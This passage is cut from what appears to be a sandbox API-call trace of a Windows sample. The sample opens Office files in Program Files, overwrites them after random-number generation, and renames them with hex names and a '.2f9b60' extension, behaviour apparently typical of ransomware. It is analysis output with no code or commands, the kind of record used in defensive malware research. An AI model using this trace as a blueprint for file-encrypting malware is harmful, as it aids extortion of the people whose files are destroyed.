lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.617] WriteFile (in: hFile=0x1f30, lpBuffer=0x42225d50*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x3f2ef654, lpOverlapped=0x0 | out: lpBuffer=0x42225d50*, lpNumberOfBytesWritten=0x3f2ef654*=0x6e, lpOverlapped=0x0) returned 1 [0146.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd90 [0146.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf70 [0146.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf70) returned 1 [0146.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42225d50) returned 1 [0146.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4223c5b0) returned 1 [0146.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0146.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda07f0 [0146.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0146.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf70 [0146.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf70) returned 1 [0146.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda0830 [0146.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf70 [0146.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c030 [0146.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c030) returned 1 [0146.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0146.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x1674c0 [0146.877] SetFilePointerEx (in: hFile=0x1f30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.877] WriteFile (in: hFile=0x1f30, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3f2ef770, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x3f2ef770*=0x112, lpOverlapped=0x0) returned 1 [0146.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0146.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0146.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 [0146.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0146.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0146.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0146.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0146.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x420590b0 [0146.948] sprintf (in: _Dest=0x420590b0, _Format="%c%c" | out: _Dest="69") returned 2 [0146.948] sprintf (in: _Dest=0x420590b2, _Format="%c%c" | out: _Dest="0d") returned 2 [0146.948] sprintf (in: _Dest=0x420590b4, _Format="%c%c" | out: _Dest="2f") returned 2 [0146.948] sprintf (in: _Dest=0x420590b6, _Format="%c%c" | out: _Dest="95") returned 2 [0146.948] sprintf (in: _Dest=0x420590b8, _Format="%c%c" | out: _Dest="c4") returned 2 [0146.948] sprintf (in: _Dest=0x420590ba, _Format="%c%c" | out: _Dest="e9") returned 2 [0146.948] sprintf (in: _Dest=0x420590bc, _Format="%c%c" | out: _Dest="7b") returned 2 [0146.949] sprintf (in: _Dest=0x420590be, _Format="%c%c" | out: _Dest="78") returned 2 [0146.949] sprintf (in: _Dest=0x420590c0, _Format="%c%c" | out: _Dest="6e") returned 2 [0146.949] sprintf (in: _Dest=0x420590c2, _Format="%c%c" | out: _Dest="50") returned 2 [0146.949] sprintf (in: _Dest=0x420590c4, _Format="%c%c" | out: _Dest="40") returned 2 [0146.949] sprintf (in: _Dest=0x420590c6, _Format="%c%c" | out: _Dest="fd") returned 2 [0146.949] sprintf (in: _Dest=0x420590c8, _Format="%c%c" | out: _Dest="19") returned 2 [0146.949] sprintf (in: _Dest=0x420590ca, _Format="%c%c" | out: _Dest="fc") returned 2 [0146.949] sprintf (in: _Dest=0x420590cc, _Format="%c%c" | out: _Dest="28") returned 2 [0146.949] sprintf (in: _Dest=0x420590ce, _Format="%c%c" | out: _Dest="f4") returned 2 [0146.949] sprintf (in: _Dest=0x420590d0, _Format="%c%c" | out: _Dest="05") returned 2 [0146.949] sprintf (in: _Dest=0x420590d2, _Format="%c%c" | out: _Dest="f2") returned 2 [0146.950] sprintf (in: _Dest=0x420590d4, _Format="%c%c" | out: _Dest="74") returned 2 [0146.950] sprintf (in: _Dest=0x420590d6, _Format="%c%c" | out: _Dest="ff") returned 2 [0146.950] sprintf (in: _Dest=0x420590d8, _Format="%c%c" | out: _Dest="c2") returned 2 [0146.950] sprintf (in: _Dest=0x420590da, _Format="%c%c" | out: _Dest="24") returned 2 [0146.950] sprintf (in: _Dest=0x420590dc, _Format="%c%c" | out: _Dest="3e") returned 2 [0146.950] sprintf (in: _Dest=0x420590de, _Format="%c%c" | out: _Dest="2b") returned 2 [0146.950] sprintf (in: _Dest=0x420590e0, _Format="%c%c" | out: _Dest="7b") returned 2 [0146.950] sprintf (in: _Dest=0x420590e2, _Format="%c%c" | out: _Dest="bf") returned 2 [0146.950] sprintf (in: _Dest=0x420590e4, _Format="%c%c" | out: _Dest="cf") returned 2 [0146.950] sprintf (in: _Dest=0x420590e6, _Format="%c%c" | out: _Dest="d2") returned 2 [0146.950] sprintf (in: _Dest=0x420590e8, _Format="%c%c" | out: _Dest="ba") returned 2 [0146.950] sprintf (in: _Dest=0x420590ea, _Format="%c%c" | out: _Dest="62") returned 2 [0146.950] sprintf (in: _Dest=0x420590ec, _Format="%c%c" | out: _Dest="99") returned 2 [0146.951] sprintf (in: _Dest=0x420590ee, _Format="%c%c" | out: _Dest="1b") returned 2 [0146.951] RtlInitAnsiString (in: DestinationString=0x3f2ef7e8, SourceString="690d2f95c4e97b786e5040fd19fc28f405f274ffc2243e2b7bbfcfd2ba62991b" | out: DestinationString="690d2f95c4e97b786e5040fd19fc28f405f274ffc2243e2b7bbfcfd2ba62991b") [0146.951] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f2ef7b8, SourceString="690d2f95c4e97b786e5040fd19fc28f405f274ffc2243e2b7bbfcfd2ba62991b", AllocateDestinationString=1 | out: DestinationString="690d2f95c4e97b786e5040fd19fc28f405f274ffc2243e2b7bbfcfd2ba62991b") returned 0x0 [0146.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86b9d0 [0146.951] RtlFreeAnsiString (AnsiString="6") [0146.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 [0146.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0146.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0146.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0830) returned 1 [0146.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf70) returned 1 [0146.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0146.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd90) returned 1 [0146.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0146.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0146.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8250) returned 1 [0146.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20507c30 [0146.954] wcscat (in: _Dest=0x20507c30, _Source="690d2f95c4e97b78" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\690d2f95c4e97b78") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\690d2f95c4e97b78" [0146.954] wcscat (in: _Dest=0x20507c30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\690d2f95c4e97b78.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\690d2f95c4e97b78.2f9b60" [0146.954] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\690d2f95c4e97b78.2f9b60", NtPathName=0x3f2ef790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\690d2f95c4e97b78.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce21de0 [0146.955] NtSetInformationFile (FileHandle=0x1f30, IoStatusBlock=0x3f2ef830, FileInformation=0x1ce21de0, Length=0xae, FileInformationClass=0xa) Thread: id = 2250 os_tid = 0xe10 [0143.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 0x20 [0145.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL", dwFileAttributes=0x20) returned 1 [0146.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xac4 [0146.692] GetFileSizeEx (in: hFile=0xac4, lpFileSize=0x3f5cf900 | out: lpFileSize=0x3f5cf900*=36200) returned 1 [0146.692] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x8d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.692] ReadFile (in: hFile=0xac4, lpBuffer=0x3f5cf880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f5cf8c8, lpOverlapped=0x0 | out: lpBuffer=0x3f5cf880*, lpNumberOfBytesRead=0x3f5cf8c8*=0x4, lpOverlapped=0x0) returned 1 [0146.699] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0146.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0146.700] NtQuerySystemTime (in: CurrentTime=0x3f5cf7c0 | out: CurrentTime=0x3f5cf7c0*=132462177519358000) returned 0x0 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x1274638f [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x131d70e2 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x18dddc5d [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x36fe435d [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x221f4332 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x1483a30b [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x3e1973e4 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x5a88f3c6 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x292bb77b [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x5060630e [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x6aef7644 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x7aa651cf [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x73585004 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x25383c1d [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x60c167e3 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x28b5b492 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x4dc83384 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x5dec9795 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x87fc890 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x5965ee1c [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x3397c35c [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x5060630e [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x587c6eab [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0xb173745 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x5391df67 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x54a67117 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x6d5df93d [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x13d4bebe [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x39fd627f [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x4587659 [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x5d3708cf [0146.700] RtlRandomEx (in: Seed=0x3f5cf7b0 | out: Seed=0x3f5cf7b0) returned 0x2c8e816a [0146.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0146.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0146.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42192140 [0146.710] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.710] ReadFile (in: hFile=0xac4, lpBuffer=0x42192140, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3f5cf820, lpOverlapped=0x0 | out: lpBuffer=0x42192140*, lpNumberOfBytesRead=0x3f5cf820*=0x3c00, lpOverlapped=0x0) returned 1 [0146.732] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059100 [0146.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0146.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0146.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0146.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423578d0 [0146.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0146.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0146.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0146.734] WriteFile (hFile=0xac4, lpBuffer=0x423578d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3f5cf820, lpOverlapped=0x0) [0173.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423578d0) returned 1 [0173.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42192140) returned 1 [0173.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f39a0 [0173.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0173.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0173.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a00 [0173.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a00) returned 1 [0173.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f3a00 [0173.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f39d0 [0173.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3910 [0173.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3910) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0173.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x42c17c30 [0173.011] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0173.011] WriteFile (in: hFile=0xac4, lpBuffer=0x42c17c30*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f5cf8d0, lpOverlapped=0x0 | out: lpBuffer=0x42c17c30*, lpNumberOfBytesWritten=0x3f5cf8d0*=0x102, lpOverlapped=0x0) returned 1 [0199.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0199.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0199.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a69e0 [0199.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a69e0) returned 1 [0199.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x42c0f0e0 [0199.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a69e0 [0199.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65f0 [0199.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65f0) returned 1 [0199.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0199.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0199.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202a65f0 [0199.973] sprintf (in: _Dest=0x202a65f0, _Format="%c%c" | out: _Dest="75") returned 2 [0199.973] sprintf (in: _Dest=0x202a65f2, _Format="%c%c" | out: _Dest="1a") returned 2 [0199.973] sprintf (in: _Dest=0x202a65f4, _Format="%c%c" | out: _Dest="b2") returned 2 [0199.973] sprintf (in: _Dest=0x202a65f6, _Format="%c%c" | out: _Dest="84") returned 2 [0199.973] sprintf (in: _Dest=0x202a65f8, _Format="%c%c" | out: _Dest="42") returned 2 [0199.973] sprintf (in: _Dest=0x202a65fa, _Format="%c%c" | out: _Dest="25") returned 2 [0199.973] sprintf (in: _Dest=0x202a65fc, _Format="%c%c" | out: _Dest="8e") returned 2 [0199.974] sprintf (in: _Dest=0x202a65fe, _Format="%c%c" | out: _Dest="27") returned 2 [0199.974] sprintf (in: _Dest=0x202a6600, _Format="%c%c" | out: _Dest="d9") returned 2 [0199.974] sprintf (in: _Dest=0x202a6602, _Format="%c%c" | out: _Dest="61") returned 2 [0199.974] sprintf (in: _Dest=0x202a6604, _Format="%c%c" | out: _Dest="bf") returned 2 [0199.974] sprintf (in: _Dest=0x202a6606, _Format="%c%c" | out: _Dest="d8") returned 2 [0199.974] sprintf (in: _Dest=0x202a6608, _Format="%c%c" | out: _Dest="b9") returned 2 [0199.974] sprintf (in: _Dest=0x202a660a, _Format="%c%c" | out: _Dest="11") returned 2 [0199.974] sprintf (in: _Dest=0x202a660c, _Format="%c%c" | out: _Dest="12") returned 2 [0199.974] sprintf (in: _Dest=0x202a660e, _Format="%c%c" | out: _Dest="d2") returned 2 [0199.974] RtlInitAnsiString (in: DestinationString=0x3f5cf948, SourceString="751ab28442258e27d961bfd8b91112d2" | out: DestinationString="751ab28442258e27d961bfd8b91112d2") [0199.974] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f5cf918, SourceString="751ab28442258e27d961bfd8b91112d2", AllocateDestinationString=1 | out: DestinationString="751ab28442258e27d961bfd8b91112d2") returned 0x0 [0199.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059240 [0199.975] wcscat (in: _Dest=0x431d99b0, _Source="751ab284" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\751ab284") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\751ab284" [0199.975] wcscat (in: _Dest=0x431d99b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\751ab284.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\751ab284.2f9b60" [0199.975] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\751ab284.2f9b60", NtPathName=0x3f5cf8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\751ab284.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x431f37a0 Thread: id = 2251 os_tid = 0xec8 [0143.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 0x20 [0145.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD", dwFileAttributes=0x20) returned 1 [0146.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f18 [0146.651] GetFileSizeEx (in: hFile=0x1f18, lpFileSize=0x3f41fc80 | out: lpFileSize=0x3f41fc80*=1919) returned 1 [0146.651] SetFilePointerEx (in: hFile=0x1f18, liDistanceToMove=0x77b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.652] ReadFile (in: hFile=0x1f18, lpBuffer=0x3f41fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f41fc48, lpOverlapped=0x0 | out: lpBuffer=0x3f41fc00*, lpNumberOfBytesRead=0x3f41fc48*=0x4, lpOverlapped=0x0) returned 1 [0146.672] SetFilePointerEx (in: hFile=0x1f18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0146.672] NtQuerySystemTime (in: CurrentTime=0x3f41fb40 | out: CurrentTime=0x3f41fb40*=132462177519202000) returned 0x0 [0146.672] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x7bc54a2f [0146.672] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x2af14d5d [0146.672] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x6e32eff1 [0146.672] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x563912a9 [0146.672] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x593908bc [0146.672] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x73402488 [0146.672] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x7877b216 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x12473522 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0xebe88fb [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0xc3f05d [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x49f8fb7b [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x1b2c190e [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x35abb41e [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x2d4680b4 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x315e6c9c [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x7b088f33 [0146.673] RtlRandomEx (in: Seed=0x3f41fb30 | out: Seed=0x3f41fb30) returned 0x69186c05 